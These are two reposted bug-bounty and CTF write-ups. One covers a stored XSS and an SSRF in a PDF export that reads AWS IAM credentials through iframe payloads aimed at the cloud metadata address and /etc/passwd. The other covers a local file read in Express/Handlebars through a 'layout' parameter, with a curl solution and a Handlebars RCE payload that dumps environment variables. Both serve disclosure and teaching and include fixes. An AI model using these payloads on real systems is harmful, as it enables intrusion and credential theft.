Story Behind Sweet SSRF.

Story Behind Sweet SSRF.

Original text by Rohit Soni

Persistence is the Key to Success.🔥

Image for post

Hey everyone! I hope you all are doing well!

Rohit soni is back with another write-up and this time it’s about critical SSRF which leads to AWS credentials disclosure. Let’s dive into it without wasting time.

Couple of months back when there was lockdown in whole world due to COVID-19 pandemic I was spending my most of time in hunting, learning and exploring new stuff (specifically about pentesting😜).

One day while scrolling linkedin feed I saw one guy’s post saying got hall of fame in target.com website. The post caught my attention and as I was not hunting on any program I started hunting on that program.

Note: I am not allowed to disclose the target website. So, Let’s call it target.com

I created an account on target.com and started exploring every functionalities. After spending couple of hours hunting and exploring functionalities I saw my email address was reflected in the response in script tag as shown in below image.

Image for post
Look at that email address.

Ahh… Very first thing came into my mind was XSS. I changed my email address to testacc@hubopss.com-alert(“h4ck3d!!”)- But failed because it is not a valid email address. But In very next moment I intercepted the request using burp and changed my email address in intercepted request and forwarded it.

Boom….Got Stored XSS.

Image for post
XSS is Love❤ (Sorry for poor picture quality😅)
Image for post
Payload reflected without filtering/encoding/sanitizing special characters.

Root cause of this XSS was lack of input validation at server side. Website was validating email address at client side only that’s why it did not allowed me to directly input my payload in email field but as server was not filtering out or encoding special characters my payload stored and I got the pop-up.

Okay, That’s cool but where is the SSRF you promised !? 😐

Main Story begins from here.

Stored XSS is nice finding but hacker inside me was screaming “You can find critical, I want P1😜”. So, I kept hunting and came across the functionality that allows to export user inputted text in pdf file.

After seeing this functionality I remembered a write-up which was about ssrf by abusing pdf generator functionality. I have not read the write-up but I remembered the title. I quickly googled the title and found the right write-up, I read and applied the same.

Identification Part :

I was able to figure out that Custom cover page content field was vulnerable.

Image for post

What I did was, I supplied <center><u>hello there</u></center> HTML tags as an input in Custom cover page content field and exported as pdf. and I got something very interesting.

Image for post
Ahh….Interesting..!!

As you can see in above screenshot, it accepted HTML tags and generated the pdf according to supplied HTML tags. Interesting..!!

Next step is to check if its vulnerable for SSRF. I confirmed that generate pdf file functionality is vulnerable for SSRF using <iframe> tag and burp collaborator client. Payload I used was:

<iframe src=“http://something.burpcollaborator.net”></iframe>

Image for post
Woah, SSRF Identified. {^_^}

HTTP request from target server is logged into my burp collaborator client window. Woah, SSRF Identified.

Root Cause: <iframe> tag used to embed/load website into another website. While generating pdf file, the target server requested my burp collaborator client to load it into <iframe> tag. As a result I got request logged into collaborator client.

Still, This SSRF does not has much impact. Let’s exploit and see what we can achieve by exploiting this SSRF.

Exploitation Part

To exploit this SSRF I used following payload.

<iframe src=“http://localhost”></iframe>

But unfortunately it doesn’t worked and showed me blank pdf file.

Image for post
Failed. -_-

After that I though to load files stored at server side. For example, /etc/passwd file. To do that I built following payload.

<iframe src=“file://etc/passwd”></iframe>

But again bad luck. Got same blank pdf file.

I used different different payloads to exploit the SSRF but I failed. Few of them are as follows. (I failed doesn’t mean you will also. Try your luck😉)

<iframe src=“file://etc/shadow”></iframe>

<iframe src=“http:localhost”></iframe>

<iframe src=“//192.168.0.1”></iframe>

<iframe src=“http://127.0.0.1”></iframe>

Any of the above payload was not working for me. Then, I thought to check the IP address which got on burp collaborator client on shodan and I came to know that the website is running on Amazon EC2 machine.

Image for post
Website is Hosted on Amazon EC2 Instance.

After considerable amount of fail attempts. I took a break and thought to ask to ritik sahni. He is my good friend and 15yo talented hacker. I called him and told him whole scenario.

He took few minutes and replied, Try to load following URL in iframe source: http://169.254.169.254/latest/meta-data/

As soon as I did it, I was like, Woah!! I got their internal directories and files listed out in iframe.

Image for post
Got Internal Directories and Files.

You must be wondering from where 

169.254.169.254
 IP address came.!

The IP address 

169.254.169.254
 is a link-local address and is valid only from the instance. In simple terms, We can say this IP is localhost for your EC2 Instance.

and by using http://169.254.169.254/latest/meta-data/ we can retrieve instance metadata.

Then, Ritik told me to check iam/ directory. I was able to get AWS security credentials from iam directory. Have a look at below attached PoC.

Image for post
Payload

Final Payload:

<iframe src=“http://169.254.169.254/latest/meta-data/iam/security-credentials/Worker” width=“100%”></iframe>

Image for post
SSRF PoC 😍🔥

It took me around 4 hours to identify and exploit SSRF. Special thanks to my friend Ritik Sahni (@deep.tech).

Hope you enjoyed my story. If you have any questions or suggestions reach me through instagram, twitter or linkedin.

Happy Hunting. 🙂

Instagram: @street_of_hacker

Twitter: @streetofhacker

LinkedIn: Rohit Soni

Special Thanks to Ritik Sahni: @deep.tech

And also Thanks to target.com for amazing swags.😁

The Secret Parameter, LFR, and Potential RCE in NodeJS Apps

The Secret Parameter, LFR, and Potential RCE in NodeJS Apps

Original text by CAPTAINFREAK

TL;DR

If you are using ExpressJs with Handlebars as templating engine invoked via hbs view engine, for Server Side Rendering, you are likely vulnerable to Local File Read (LFR) and potential Remote Code Execution (RCE).

#BugBountyTip💰

  1. If the target is responding with 
    X-Powered-By: Express
     and there is HTML in responses, it’s highly likely that NodeJs with server-side templating is being used.
  2. Add 
    layout
     in your wordlist of parameter discovery/fuzzing for GET query or POST body.
  3. If the arbitrary value of 
    layout
     parameter added is resulting in 
    500 Internal Server Error
     with 
    ENOENT: no such file or directory
     in body, You have hit the LFR.

Details

About more than a week back, I stumbled upon a critical Local File Read (LFR) security issue which had the potential to give Remote Code Execution in a fairly simple ~10 lines of 

NodeJS/ExpressJs
 code which looked like the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
var express = require(‘express’);
var router = express.Router();

router.get(‘/’, function(req, res, next) {
res.render(‘index’)
});

router.post(‘/’, function(req, res, next) {
var profile = req.body.profile
res.render(‘index’, profile)
});

module.exports = router;

The whole source can be found here.

If you are even a little bit familiar with NodeJs Ecosystem and have written at least your first 

Hello World
 endpoint in 
ExpressJs
, you will certify that this is clearly straightforward and innocent code.

So after getting surprised and disillusioned by the security bug, I remembered that It’s indeed called 

Dependency Hell
. To be honest, I should not have been that surprised.

The betrayal by in-built modules, dependencies, and packages have been the reason to introduce numerous security bugs. This is a re-occurring theme in software security anyway.

To check out if this is a known issue or not, I created a CTF challenge and shared it with many of my talented friends belonging to multiple community forums of Web Security, Node, Backend Engineering, CTFs, and BugBounty.https://platform.twitter.com/embed/index.html?dnt=false&embedId=twitter-widget-0&frame=false&hideCard=false&hideThread=false&id=1350083997854928897&lang=en&origin=https%3A%2F%2Fblog.shoebpatel.com%2F2021%2F01%2F23%2FThe-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps%2F&theme=dark&widgetsVersion=ed20a2b%3A1601588405575&width=550px

Node/Express.js Web Security Challenge:https://t.co/vjOUcxHdVx

Very short code: https://t.co/gkjcZ24YUt

Can you find the flag: 𝗰𝗳𝗿𝗲𝗮𝗸{.*}#nodejs #javascript #JS #ctf #bugbounty— CaptainFreak (@0xCaptainFreak) January 15, 2021

Turns out this was not known, Even after giving the whole source code of the challenge, only 4 people were able to solve it (all CTFers 🥳):

  1. @JiriPospisil
  2. @CurseRed
  3. @zevtnax
  4. @po6ix

Congrats to all the solvers 🎊 and thanks a lot to everybody who tried out the challenge.

For the people who still wanna try out, I plan to keep the Profiler Challenge up for one more week. Stop Reading and check it out now!

Challenge Solution

1curl -X ‘POST’ -H ‘Content-Type: application/json’ —data-binary $'{\»profile\»:{«layout\»: \»./../routes/index.js\»}}’ ‘http://ctf.shoebpatel.com:9090/’

HTTP request:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: ctf.shoebpatel.com:9090
Content-Length: 48
Content-Type: application/json

{
«profile»: {
«layout»: «./../routes/index.js»
}
}

HTTP Response (content of 

routes/index.js
):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 463

var express = require(‘express’);
var router = express.Router();

const flag = «cfreak{It’s called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}»

/* GET home page. */
router.get(‘/’, function(req, res, next) {
res.render(‘index’)
});

router.post(‘/’, function(req, res, next) {
var profile = req.body.profile
res.render(‘index’, profile)
});

module.exports = router;

Flag:

1«cfreak{It’s called Dependency Hell for a reason! (https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122)}»

That’s It! What the heck, right? You might be thinking, what even is this 

layout
 parameter? and where is it even coming from. Soo out of context!

If you like Code Review, why don’t you find out? It will be a good code review exercise.

Secret 
layout
 parameter

To find out from where it is coming, we can track the flow of our input from Source to Sink till we find out the reason why LFR is happening.

Source (Line 3):

1
2
3
4
router.post(‘/’, function(req, res, next) {
var profile = req.body.profile
res.render(‘index’, profile)
});

Let’s follow the path this profile object argument takes.

1
2
3
4
5
6
7
8
res.render = function render(view, options, callback) {
var app = this.req.app;
var opts = options || {};


// render
app.render(view, opts, done);
};

“index” argument became 

view
 & our 
profile
 argument became the 
options
 parameter which became 
opts
 and got flown into 
app.render

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.render = function render(name, options, callback) {
var opts = options;
var renderOptions = {};
var view;

merge(renderOptions, opts);

var View = this.get(‘view’);

view = new View(name, {
defaultEngine: this.get(‘view engine’),
root: this.get(‘views’),
engines: engines
});

// render
tryRender(view, renderOptions, done);
};

function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}
1
2
3
4
View.prototype.render = function render(options, callback) {
debug(‘render «%s»‘, this.path);
this.engine(this.path, options, callback);
};

In View class, 

this.engine
 becomes an instance of hbs in our case and 
this.path
 = 
rootViewDir + viewFilename
. The 
options
 argument is our 
profile
.

I will take the liberty here and modify the code a bit to make it linear and easy to understand, but you can check out the original version on Github.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function middleware(filename, options, cb) {
// The Culprit — https://github.com/pillarjs/hbs/blob/master/lib/hbs.js#L122
var layout = options.layout;

var view_dirs = options.settings.views;
var layout_filename = [].concat(view_dirs).map(function (view_dir){
// Some code to create full paths
var view_path = path.join(view_dir, layout || ‘layout’);

// This actually restricts reading/executing files without extensions.
if (!path.extname(view_path)) {
view_path += extension;
}
return view_path;
}

tryReadFileAndCache(layout_filename);

// in-memory caching Code
function tryReadFileAndCache(templates) {
var template = templates.shift();
fs.readFile(template, ‘utf8’, function(err, str) {
cacheAndCompile(template, str);
});
}


function cacheAndCompile(filename, str) {
// Here we get compiled HTML from handlebars
var layout_template = handlebars.compile(str);
// Some further logic
}

We can stop analysing here, as you can see on 

Line 22
 we effectively read from the 
Root Views Dir + layout
 and pass it to handlebars.compile which gives us the HTML after compiling the given file which we completely control (Except the extension cause it’s added explicitly from the config to the path if not provided already. 
Line. 12
).

Hence the LFR, we can read any files with extensions.

RCE 💣

As the templating is involved, we do have a strong potential for RCE. It has the following pre-requisites though:

  1. Through the above LFR read 
    ./../package.json
    .
  2. See the version of hbs being used, it should be <= 
    4.0.3
    . Because after this version, the 
    hbs
     team started using 
    Handlebars.js of version &gt;= 4.0.14
    Commit Link.
  3. In Handlebars below this version, it was possible to create RCE payloads. There is an awesome writeup on this by @Zombiehelp54 with which they got RCE on Shopify.
  4. And you should have a functionality of file upload on the same box with a known location, which is quite an ask considering everybody uses blob storage these days, but we never know 🤷‍♂️

With above fulfilled, you can write a handlebars template payload like below to get RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!— (by [@avlidienbrunn](https://twitter.com/avlidienbrunn)) —>

{{#with «s» as |string|}}
{{#with «e»}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub «constructor»)}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push «return JSON.stringify(process.env);»}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Fix 🤕

Easy fix would be to stop using the code anti-pattern shown in the above example like below:

1❌ res.render(‘index’, profile)

v/s

1✅ res.render(‘index’, { profile })

which I think many devs use already so that they can be more descriptive in templates with the usage of just “{{name}}” vs “{{profile.name}}”.

But think for a second again, is the above code safe? Yea sure, we don’t have a way to provide 

layout
 in the options argument to 
res.render
 anymore. But is there any way to still introduce the culprit 
layout
 parameter?

Prototype Pollution!

It would be ignorant if we don’t mention proto pollution in a Js/NodeJs Web Security writeup 🙃 !

Readers who are unaware of proto pollution, please watch this awesome talk from Olivier Arteau at NorthSec18.

As you can see, even the most common pattern (

res.render('template', { profile })
) of passing objects to render function is not safe, If the application has prototype pollution at any place with which an attacker can add 
layout
 to prototype chain, the output of every call to 
res.render
 will be overwritten with LFR/RCE. So we have DoS-ish LFR/RCE! With presence of exploitable proto pollution, this becomes quite a good gadget plus becomes unfixable unless we fix proto pollution.

Solid Fix

  1. First fix proto pollution if you are vulnerable to it.
  2. and you can remove the 
    layout
     key from the object or do whatever to stop it from reaching that vulnerable Sink.

Let me know what you think should be the proper fix?


Above I have described my observations on a potentially critical vulnerability in the Setup of NodeJS + Express + HBS.

As this setup is pretty common, I wanted this writeup to be out there. The handlebars engine particularly is very popular due to it’s support of HTML symantics. Everytime I work on a side-project, I quickly setup the boilerplate code with quick one liner of express-generator cli 

express --view hbs
 and this creates the exact same stack the above issue is talking about. Don’t know how many time I might have used that code line myself. I plan to do the same kind of review for other view engines that express supports (ejs, hjs, jade, pug, twig, vash).

Anyways, thanks for Reading! If something is erroneous, please let me know, would love to have a constructive discussion.

It’s called Dependency Hell for a reason!

Best,
CF